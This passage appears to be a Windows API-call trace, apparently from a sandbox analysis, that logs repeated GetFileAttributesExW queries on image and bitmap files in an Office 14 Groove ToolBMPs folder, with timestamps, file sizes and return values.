	[0052.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f)) returned 1
	[0052.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618)) returned 1
	[0052.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29)) returned 1
	[0052.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38)) returned 1
	[0052.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5)) returned 1
	[0052.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed)) returned 1
	[0052.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93)) returned 1
	[0052.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8)) returned 1
	[0052.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5)) returned 1
	[0052.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcf08 | out: lpFileInformation=0x123fcf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6)) returned 1
	[0052.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1
	[0052.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd)) returned 1
	[0052.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa)) returned 1
	[0052.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2)) returned 1
	[0052.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc)) returned 1
	[0052.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307)) returned 1
	[0052.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368)) returned 1
	[0052.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd1d8 | out: lpFileInformation=0x123fd1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0052.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd228 | out: lpFileInformation=0x123fd228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a)) returned 1
	[0052.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd278 | out: lpFileInformation=0x123fd278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a)) returned 1
	[0052.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd4a8 | out: lpFileInformation=0x123fd4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b)) returned 1
	[0052.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14)) returned 1
	[0052.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa)) returned 1
	[0052.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1
	[0052.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963)) returned 1
	[0052.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638)) returned 1
	[0052.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38)) returned 1
	[0052.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1
	[0052.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1
